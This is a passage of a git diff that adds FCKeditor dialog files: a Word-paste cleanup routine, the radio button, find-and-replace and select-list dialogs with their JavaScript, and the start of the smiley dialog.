+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCK = oEditor.FCK;
+var FCKTools   = oEditor.FCKTools ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+window.onload = function ()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+       
+       if ( window.parent.dialogArguments.CustomValue == 'Word' )
+       {
+               var oFrame = document.getElementById('frmData') ;
+               oFrame.style.display = '' ;
+               
+               if ( oFrame.contentDocument ) 
+                       oFrame.contentDocument.designMode = 'on' ;
+               else
+                       oFrame.contentWindow.document.body.contentEditable = true ;
+       }
+       else
+       {
+               document.getElementById('txtData').style.display = '' ;
+               document.getElementById('oWordCommands').style.display = 'none' ;
+       }
+
+       window.parent.SetOkButton( true ) ;     
+       window.parent.SetAutoSize( true ) ;     
+}
+
+function Ok()
+{
+       var sHtml ;
+       
+       if ( window.parent.dialogArguments.CustomValue == 'Word' )
+       {
+               var oFrame = document.getElementById('frmData') ;
+               var oBody ;
+
+               if ( oFrame.contentDocument ) 
+                       oBody = oFrame.contentDocument.body ;
+               else
+                       oBody = oFrame.contentWindow.document.body ;
+
+               // If a plugin creates a FCK.CustomCleanWord function it will be called instead of the default one
+               if ( typeof( FCKTools.CustomCleanWord ) == 'function' )
+                       sHtml = FCK.CustomCleanWord( oBody, document.getElementById('chkRemoveFont').checked, document.getElementById('chkRemoveStyles').checked ) ;
+               else
+                       sHtml = CleanWord( oBody, document.getElementById('chkRemoveFont').checked, document.getElementById('chkRemoveStyles').checked ) ;
+
+
+               // Fix relative anchor URLs (IE automatically adds the current page URL).
+               var re = new RegExp( window.location + "#", "g" ) ;
+               sHtml = sHtml.replace( re, '#') ;
+       }
+       else
+       {
+               sHtml = oEditor.FCKTools.HTMLEncode( document.getElementById('txtData').value )  ;
+               sHtml = sHtml.replace( /\n/g, '<BR>' ) ;
+       }
+       
+       oEditor.FCK.InsertHtml( sHtml ) ;
+       
+       return true ;
+}
+
+function CleanUpBox()
+{
+       var oFrame = document.getElementById('frmData') ;
+       
+       if ( oFrame.contentDocument ) 
+               oFrame.contentDocument.body.innerHTML = '' ;
+       else
+               oFrame.contentWindow.document.body.innerHTML = '' ;
+}
+
+
+// This function will be called from the PasteFromWord dialog (fck_paste.html)
+// Input: oNode a DOM node that contains the raw paste from the clipboard 
+// bIgnoreFont, bRemoveStyles booleans according to the values set in the dialog
+// Output: the cleaned string
+function CleanWord( oNode, bIgnoreFont, bRemoveStyles )
+{
+       var html = oNode.innerHTML ;
+
+       html = html.replace(/<o:p>\s*<\/o:p>/g, '') ;
+       html = html.replace(/<o:p>.*?<\/o:p>/g, '&nbsp;') ;
+       
+       // Remove mso-xxx styles.
+       html = html.replace( /\s*mso-[^:]+:[^;"]+;?/gi, '' ) ;
+
+       // Remove margin styles.
+       html = html.replace( /\s*MARGIN: 0cm 0cm 0pt\s*;/gi, '' ) ;
+       html = html.replace( /\s*MARGIN: 0cm 0cm 0pt\s*"/gi, "\"" ) ;
+
+       html = html.replace( /\s*TEXT-INDENT: 0cm\s*;/gi, '' ) ;
+       html = html.replace( /\s*TEXT-INDENT: 0cm\s*"/gi, "\"" ) ;
+
+       html = html.replace( /\s*TEXT-ALIGN: [^\s;]+;?"/gi, "\"" ) ;
+
+       html = html.replace( /\s*PAGE-BREAK-BEFORE: [^\s;]+;?"/gi, "\"" ) ;
+
+       html = html.replace( /\s*FONT-VARIANT: [^\s;]+;?"/gi, "\"" ) ;
+
+       html = html.replace( /\s*tab-stops:[^;"]*;?/gi, '' ) ;
+       html = html.replace( /\s*tab-stops:[^"]*/gi, '' ) ;
+
+       // Remove FONT face attributes.
+       if ( bIgnoreFont )
+       {
+               html = html.replace( /\s*face="[^"]*"/gi, '' ) ;
+               html = html.replace( /\s*face=[^ >]*/gi, '' ) ;
+
+               html = html.replace( /\s*FONT-FAMILY:[^;"]*;?/gi, '' ) ;
+       }
+       
+       // Remove Class attributes
+       html = html.replace(/<(\w[^>]*) class=([^ |>]*)([^>]*)/gi, "<$1$3") ;
+
+       // Remove styles.
+       if ( bRemoveStyles )
+               html = html.replace( /<(\w[^>]*) style="([^\"]*)"([^>]*)/gi, "<$1$3" ) ;
+
+       // Remove empty styles.
+       html =  html.replace( /\s*style="\s*"/gi, '' ) ;
+       
+       html = html.replace( /<SPAN\s*[^>]*>\s*&nbsp;\s*<\/SPAN>/gi, '&nbsp;' ) ;
+       
+       html = html.replace( /<SPAN\s*[^>]*><\/SPAN>/gi, '' ) ;
+       
+       // Remove Lang attributes
+       html = html.replace(/<(\w[^>]*) lang=([^ |>]*)([^>]*)/gi, "<$1$3") ;
+       
+       html = html.replace( /<SPAN\s*>(.*?)<\/SPAN>/gi, '$1' ) ;
+       
+       html = html.replace( /<FONT\s*>(.*?)<\/FONT>/gi, '$1' ) ;
+
+       // Remove XML elements and declarations
+       html = html.replace(/<\\?\?xml[^>]*>/gi, '' ) ;
+       
+       // Remove Tags with XML namespace declarations: <o:p><\/o:p>
+       html = html.replace(/<\/?\w+:[^>]*>/gi, '' ) ;
+       
+       // Remove comments [SF BUG-1481861].
+       html = html.replace(/<\!--.*-->/g, '' ) ;
+
+       html = html.replace( /<(U|I|STRIKE)>&nbsp;<\/\1>/g, '&nbsp;' ) ;
+
+       html = html.replace( /<H\d>\s*<\/H\d>/gi, '' ) ;
+
+       if ( FCKConfig.CleanWordKeepsStructure )
+       {
+               // The original <Hn> tag send from Word is something like this: <Hn style="margin-top:0px;margin-bottom:0px">
+               html = html.replace( /<H(\d)([^>]*)>/gi, '<h$1>' ) ;
+
+               // Word likes to insert extra <font> tags, when using MSIE. (Wierd).
+               html = html.replace( /<(H\d)><FONT[^>]*>(.*?)<\/FONT><\/\1>/gi, '<$1>$2</$1>' );
+               html = html.replace( /<(H\d)><EM>(.*?)<\/EM><\/\1>/gi, '<$1>$2</$1>' );
+       }
+       else
+       {
+               html = html.replace( /<H1([^>]*)>/gi, '<div$1><b><font size="6">' ) ;
+               html = html.replace( /<H2([^>]*)>/gi, '<div$1><b><font size="5">' ) ;
+               html = html.replace( /<H3([^>]*)>/gi, '<div$1><b><font size="4">' ) ;
+               html = html.replace( /<H4([^>]*)>/gi, '<div$1><b><font size="3">' ) ;
+               html = html.replace( /<H5([^>]*)>/gi, '<div$1><b><font size="2">' ) ;
+               html = html.replace( /<H6([^>]*)>/gi, '<div$1><b><font size="1">' ) ;
+
+               html = html.replace( /<\/H\d>/gi, '<\/font><\/b><\/div>' ) ;
+
+               // Transform <P> to <DIV>
+               var re = new RegExp( '(<P)([^>]*>.*?)(<\/P>)', 'gi' ) ; // Different because of a IE 5.0 error
+               html = html.replace( re, '<div$2<\/div>' ) ;
+
+               // Remove empty tags (three times, just to be sure).
+               // This also removes any empty anchor
+               html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+               html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+               html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+       }
+
+       return html ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 98%">
+               <tr>
+                       <td>
+                               <span fcklang="DlgPasteMsg2">Please paste inside the following box using the keyboard
+                                       (<strong>Ctrl+V</strong>) and hit <strong>OK</strong>.</span>
+                               <br />
+                               &nbsp;
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="top" height="100%" style="border-right: #000000 1px solid; border-top: #000000 1px solid;
+                               border-left: #000000 1px solid; border-bottom: #000000 1px solid">
+                               <textarea id="txtData" cols="80" rows="5" style="border: #000000 1px; display: none;
+                                       width: 99%; height: 98%"></textarea>
+                               <iframe id="frmData" src="javascript:void(0)" height="98%" width="99%" frameborder="0"
+                                       style="border-right: #000000 1px; border-top: #000000 1px; display: none; border-left: #000000 1px;
+                                       border-bottom: #000000 1px; background-color: #ffffff"></iframe>
+                       </td>
+               </tr>
+               <tr id="oWordCommands">
+                       <td>
+                               <table border="0" cellpadding="0" cellspacing="0" width="100%">
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <input id="chkRemoveFont" type="checkbox" checked="checked" />
+                                                       <label for="chkRemoveFont" fcklang="DlgPasteIgnoreFont">
+                                                               Ignore Font Face definitions</label>
+                                                       <br />
+                                                       <input id="chkRemoveStyles" type="checkbox" />
+                                                       <label for="chkRemoveStyles" fcklang="DlgPasteRemoveStyles">
+                                                               Remove Styles definitions</label>
+                                               </td>
+                                               <td align="right" valign="top">
+                                                       <input type="button" fcklang="DlgPasteCleanBox" value="Clean Up Box" onclick="CleanUpBox()" />
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_radiobutton.html b/fckeditor/editor/dialog/fck_radiobutton.html
new file mode 100755 (executable)
index 0000000..f6958f6
--- /dev/null
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_radiobutton.html
+ *     Radio Button dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Radio Button Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName.toUpperCase() == 'INPUT' && oActiveEl.type == 'radio' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtValue').value          = oEditor.FCKBrowserInfo.IsIE ? oActiveEl.value : GetAttribute( oActiveEl, 'value' ) ;
+               GetE('txtSelected').checked     = oActiveEl.checked ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = 'radio' ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       if ( GetE('txtName').value.length > 0 )
+               oActiveEl.name = GetE('txtName').value ;
+               
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               oActiveEl.value = GetE('txtValue').value ;
+       else
+               SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       var bIsChecked = GetE('txtSelected').checked ;
+       SetAttribute( oActiveEl, 'checked', bIsChecked ? 'checked' : null ) ;   // For Firefox
+       oActiveEl.checked = bIsChecked ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxName">Name</span><br>
+                                                               <input type="text" size="20" id="txtName" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxValue">Value</span><br>
+                                                               <input type="text" size="20" id="txtValue" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td><input type="checkbox" id="txtSelected"><label for="txtSelected" fckLang="DlgCheckboxSelected">Checked</label></td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_replace.html b/fckeditor/editor/dialog/fck_replace.html
new file mode 100755 (executable)
index 0000000..0812356
--- /dev/null
@@ -0,0 +1,161 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_replace.html
+ *     "Replace" dialog box window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Abdul-Aziz A. Al-Oraij (aziz.oraij.com)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       oEditor.FCKUndo.SaveUndoStep() ;
+}
+
+function btnStat(frm)
+{
+       document.getElementById('btnReplace').disabled = 
+               document.getElementById('btnReplaceAll').disabled = 
+                       ( document.getElementById('txtFind').value.length == 0 ) ;
+}
+
+function ReplaceTextNodes( parentNode, regex, replaceValue, replaceAll, hasFound )
+{
+       for ( var i = 0 ; i < parentNode.childNodes.length ; i++ )
+       {
+               var oNode = parentNode.childNodes[i] ;
+               if ( oNode.nodeType == 3 )
+               {
+                       var sReplaced = oNode.nodeValue.replace( regex, replaceValue ) ;
+                       if ( oNode.nodeValue != sReplaced )
+                       {
+                               oNode.nodeValue = sReplaced ;
+                               if ( ! replaceAll )
+                                       return true ;
+                               hasFound = true ;
+                       }
+               }
+
+               hasFound = ReplaceTextNodes( oNode, regex, replaceValue, replaceAll, hasFound ) ;
+               if ( ! replaceAll && hasFound )
+                       return true ;
+       }
+       
+       return hasFound ;
+}
+
+function GetRegexExpr()
+{
+       var sExpr = EscapeRegexString( document.getElementById('txtFind').value ) ;
+
+       if ( document.getElementById('chkWord').checked )
+               sExpr = '\\b' + sExpr + '\\b' ;
+
+       return sExpr ;
+}
+
+function GetCase() 
+{
+       return ( document.getElementById('chkCase').checked ? '' : 'i' ) ;
+}
+
+function GetReplacement()
+{
+       return document.getElementById('txtReplace').value.replace( /\$/g, '$$$$' ) ;
+}
+
+function EscapeRegexString( str )
+{
+       return str.replace( /[\\\^\$\*\+\?\{\}\.\(\)\!\|\[\]\-]/g, '\\$&' ) ;
+}
+
+function Replace()
+{
+       var oRegex = new RegExp( GetRegexExpr(), GetCase() ) ;
+       if ( !ReplaceTextNodes( oEditor.FCK.EditorDocument.body, oRegex, GetReplacement(), false, false ) )
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+}
+
+function ReplaceAll()
+{
+       var oRegex = new RegExp( GetRegexExpr(), GetCase() + 'g' ) ;
+       if ( !ReplaceTextNodes( oEditor.FCK.EditorDocument.body, oRegex, GetReplacement(), true, false ) )
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+       window.parent.Cancel() ;
+}
+       </script>
+</head>
+<body onload="OnLoad()" style="overflow: hidden">
+       <table cellspacing="3" cellpadding="2" width="100%" border="0">
+               <tr>
+                       <td nowrap="nowrap">
+                               <label for="txtFind" fcklang="DlgReplaceFindLbl">
+                                       Find what:</label>
+                       </td>
+                       <td width="100%">
+                               <input id="txtFind" onkeyup="btnStat(this.form)" style="width: 100%" tabindex="1"
+                                       type="text" />
+                       </td>
+                       <td>
+                               <input id="btnReplace" style="width: 100%" disabled="disabled" onclick="Replace();"
+                                       type="button" value="Replace" fcklang="DlgReplaceReplaceBtn" />
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="top" nowrap="nowrap">
+                               <label for="txtReplace" fcklang="DlgReplaceReplaceLbl">
+                                       Replace with:</label>
+                       </td>
+                       <td valign="top">
+                               <input id="txtReplace" style="width: 100%" tabindex="2" type="text" />
+                       </td>
+                       <td>
+                               <input id="btnReplaceAll" disabled="disabled" onclick="ReplaceAll()" type="button"
+                                       value="Replace All" fcklang="DlgReplaceReplAllBtn" />
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="bottom" colspan="3">
+                               &nbsp;<input id="chkCase" tabindex="3" type="checkbox" /><label for="chkCase" fcklang="DlgReplaceCaseChk">Match
+                                       case</label>
+                               <br />
+                               &nbsp;<input id="chkWord" tabindex="4" type="checkbox" /><label for="chkWord" fcklang="DlgReplaceWordChk">Match
+                                       whole word</label>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_select.html b/fckeditor/editor/dialog/fck_select.html
new file mode 100755 (executable)
index 0000000..37d641d
--- /dev/null
@@ -0,0 +1,180 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_select.html
+ *     Select dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Select Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript" src="fck_select/fck_select.js"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+var oListText ;
+var oListValue ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       oListText       = document.getElementById( 'cmbText' ) ;
+       oListValue      = document.getElementById( 'cmbValue' ) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'SELECT' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtSelValue').value       = oActiveEl.value ;
+               GetE('txtLines').value          = GetAttribute( oActiveEl, 'size' ) ;
+               GetE('chkMultiple').checked     = oActiveEl.multiple ;
+
+               // Load the actual options
+               for ( var i = 0 ; i < oActiveEl.options.length ; i++ )
+               {
+                       var sText       = oActiveEl.options[i].innerHTML ;
+                       var sValue      = oActiveEl.options[i].value ;
+
+                       AddComboOption( oListText, sText, sText ) ;
+                       AddComboOption( oListValue, sValue, sValue ) ;
+               }
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       var sSize = GetE('txtLines').value ;
+       if ( sSize == null || isNaN( sSize ) || sSize <= 1 )
+               sSize = '' ;
+
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'SELECT' ) ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       SetAttribute( oActiveEl, 'name' , GetE('txtName').value ) ;
+       SetAttribute( oActiveEl, 'size' , sSize ) ;
+       oActiveEl.multiple = ( sSize.length > 0 && GetE('chkMultiple').checked ) ;
+
+       // Remove all options.
+       while ( oActiveEl.options.length > 0 )
+               oActiveEl.remove(0) ;
+
+       // Add all available options.
+       for ( var i = 0 ; i < oListText.options.length ; i++ )
+       {
+               var sText       = oListText.options[i].value ;
+               var sValue      = oListValue.options[i].value ;
+               if ( sValue.length == 0 ) sValue = sText ;
+
+               var oOption = AddComboOption( oActiveEl, sText, sValue, oDOM ) ;
+
+               if ( sValue == GetE('txtSelValue').value )
+               {
+                       SetAttribute( oOption, 'selected', 'selected' ) ;
+                       oOption.selected = true ;
+               }
+       }
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style='OVERFLOW: hidden' scroll='no'>
+               <table width="100%" height="100%">
+                       <tr>
+                               <td>
+                                       <table width="100%">
+                                               <tr>
+                                                       <td nowrap><span fckLang="DlgSelectName">Name</span>&nbsp;</td>
+                                                       <td width="100%" colSpan="2"><input id="txtName" style="WIDTH: 100%" type="text"></td>
+                                               </tr>
+                                               <tr>
+                                                       <td nowrap><span fckLang="DlgSelectValue">Value</span>&nbsp;</td>
+                                                       <td width="100%" colSpan="2"><input id="txtSelValue" style="WIDTH: 100%; BACKGROUND-COLOR: buttonface" type="text" readonly></td>
+                                               </tr>
+                                               <tr>
+                                                       <td nowrap><span fckLang="DlgSelectSize">Size</span>&nbsp;</td>
+                                                       <td nowrap><input id="txtLines" type="text" size="2" value="">&nbsp;<span fckLang="DlgSelectLines">lines</span></td>
+                                                       <td nowrap align="right"><input id="chkMultiple" name="chkMultiple" type="checkbox"><label for="chkMultiple" fckLang="DlgSelectChkMulti">Allow
+                                                                       multiple selections</label></td>
+                                               </tr>
+                                       </table>
+                                       <br>
+                                       <hr style="POSITION: absolute">
+                                       <span style="LEFT: 10px; POSITION: relative; TOP: -7px" class="BackColor">&nbsp;<span fckLang="DlgSelectOpAvail">Available
+                                                       Options</span>&nbsp;</span>
+                                       <table width="100%">
+                                               <tr>
+                                                       <td width="50%"><span fckLang="DlgSelectOpText">Text</span><br>
+                                                               <input id="txtText" style="WIDTH: 100%" type="text" name="txtText">
+                                                       </td>
+                                                       <td width="50%"><span fckLang="DlgSelectOpValue">Value</span><br>
+                                                               <input id="txtValue" style="WIDTH: 100%" type="text" name="txtValue">
+                                                       </td>
+                                                       <td vAlign="bottom"><input onclick="Add();" type="button" fckLang="DlgSelectBtnAdd" value="Add"></td>
+                                                       <td vAlign="bottom"><input onclick="Modify();" type="button" fckLang="DlgSelectBtnModify" value="Modify"></td>
+                                               </tr>
+                                               <tr>
+                                                       <td rowSpan="2"><select id="cmbText" style="WIDTH: 100%" onchange="GetE('cmbValue').selectedIndex = this.selectedIndex;Select(this);"
+                                                                       size="5" name="cmbText"></select>
+                                                       </td>
+                                                       <td rowSpan="2"><select id="cmbValue" style="WIDTH: 100%" onchange="GetE('cmbText').selectedIndex = this.selectedIndex;Select(this);"
+                                                                       size="5" name="cmbValue"></select>
+                                                       </td>
+                                                       <td vAlign="top" colSpan="2">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td vAlign="bottom" colSpan="2"><input style="WIDTH: 100%" onclick="Move(-1);" type="button" fckLang="DlgSelectBtnUp" value="Up">
+                                                               <br>
+                                                               <input style="WIDTH: 100%" onclick="Move(1);" type="button" fckLang="DlgSelectBtnDown"
+                                                                       value="Down">
+                                                       </td>
+                                               </tr>
+                                               <TR>
+                                                       <TD vAlign="bottom" colSpan="4"><INPUT onclick="SetSelectedValue();" type="button" fckLang="DlgSelectBtnSetValue" value="Set as selected value">&nbsp;&nbsp;
+                                                               <input onclick="Delete();" type="button" fckLang="DlgSelectBtnDelete" value="Delete"></TD>
+                                               </TR>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_select/fck_select.js b/fckeditor/editor/dialog/fck_select/fck_select.js
new file mode 100755 (executable)
index 0000000..fa8acb3
--- /dev/null
@@ -0,0 +1,173 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_select.js
+ *     Scripts for the fck_select.html page.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function Select( combo )
+{
+       var iIndex = combo.selectedIndex ;
+
+       oListText.selectedIndex         = iIndex ;
+       oListValue.selectedIndex        = iIndex ;
+
+       var oTxtText    = document.getElementById( "txtText" ) ;
+       var oTxtValue   = document.getElementById( "txtValue" ) ;
+
+       oTxtText.value  = oListText.value ;
+       oTxtValue.value = oListValue.value ;
+}
+
+function Add()
+{
+       var oTxtText    = document.getElementById( "txtText" ) ;
+       var oTxtValue   = document.getElementById( "txtValue" ) ;
+
+       AddComboOption( oListText, oTxtText.value, oTxtText.value ) ;
+       AddComboOption( oListValue, oTxtValue.value, oTxtValue.value ) ;
+
+       oListText.selectedIndex = oListText.options.length - 1 ;
+       oListValue.selectedIndex = oListValue.options.length - 1 ;
+
+       oTxtText.value  = '' ;
+       oTxtValue.value = '' ;
+
+       oTxtText.focus() ;
+}
+
+function Modify()
+{
+       var iIndex = oListText.selectedIndex ;
+
+       if ( iIndex < 0 ) return ;
+
+       var oTxtText    = document.getElementById( "txtText" ) ;
+       var oTxtValue   = document.getElementById( "txtValue" ) ;
+
+       oListText.options[ iIndex ].innerHTML   = oTxtText.value ;
+       oListText.options[ iIndex ].value               = oTxtText.value ;
+
+       oListValue.options[ iIndex ].innerHTML  = oTxtValue.value ;
+       oListValue.options[ iIndex ].value              = oTxtValue.value ;
+
+       oTxtText.value  = '' ;
+       oTxtValue.value = '' ;
+
+       oTxtText.focus() ;
+}
+
+function Move( steps )
+{
+       ChangeOptionPosition( oListText, steps ) ;
+       ChangeOptionPosition( oListValue, steps ) ;
+}
+
+function Delete()
+{
+       RemoveSelectedOptions( oListText ) ;
+       RemoveSelectedOptions( oListValue ) ;
+}
+
+function SetSelectedValue()
+{
+       var iIndex = oListValue.selectedIndex ;
+       if ( iIndex < 0 ) return ;
+
+       var oTxtValue = document.getElementById( "txtSelValue" ) ;
+
+       oTxtValue.value = oListValue.options[ iIndex ].value ;
+}
+
+// Moves the selected option by a number of steps (also negative)
+function ChangeOptionPosition( combo, steps )
+{
+       var iActualIndex = combo.selectedIndex ;
+
+       if ( iActualIndex < 0 )
+               return ;
+
+       var iFinalIndex = iActualIndex + steps ;
+
+       if ( iFinalIndex < 0 )
+               iFinalIndex = 0 ;
+
+       if ( iFinalIndex > ( combo.options.length - 1 ) )
+               iFinalIndex = combo.options.length - 1 ;
+
+       if ( iActualIndex == iFinalIndex )
+               return ;
+
+       var oOption = combo.options[ iActualIndex ] ;
+       var sText       = oOption.innerHTML ;
+       var sValue      = oOption.value ;
+
+       combo.remove( iActualIndex ) ;
+
+       oOption = AddComboOption( combo, sText, sValue, null, iFinalIndex ) ;
+
+       oOption.selected = true ;
+}
+
+// Remove all selected options from a SELECT object
+function RemoveSelectedOptions(combo)
+{
+       // Save the selected index
+       var iSelectedIndex = combo.selectedIndex ;
+
+       var oOptions = combo.options ;
+
+       // Remove all selected options
+       for ( var i = oOptions.length - 1 ; i >= 0 ; i-- )
+       {
+               if (oOptions[i].selected) combo.remove(i) ;
+       }
+
+       // Reset the selection based on the original selected index
+       if ( combo.options.length > 0 )
+       {
+               if ( iSelectedIndex >= combo.options.length ) iSelectedIndex = combo.options.length - 1 ;
+               combo.selectedIndex = iSelectedIndex ;
+       }
+}
+
+// Add a new option to a SELECT object (combo or list)
+function AddComboOption( combo, optionText, optionValue, documentObject, index )
+{
+       var oOption ;
+
+       if ( documentObject )
+               oOption = documentObject.createElement("OPTION") ;
+       else
+               oOption = document.createElement("OPTION") ;
+
+       if ( index != null )
+               combo.options.add( oOption, index ) ;
+       else
+               combo.options.add( oOption ) ;
+
+       oOption.innerHTML = optionText.length > 0 ? optionText : '&nbsp;' ;
+       oOption.value     = optionValue ;
+
+       return oOption ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_smiley.html b/fckeditor/editor/dialog/fck_smiley.html
new file mode 100755 (executable)
index 0000000..e0fd131
--- /dev/null
@@ -0,0 +1,109 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
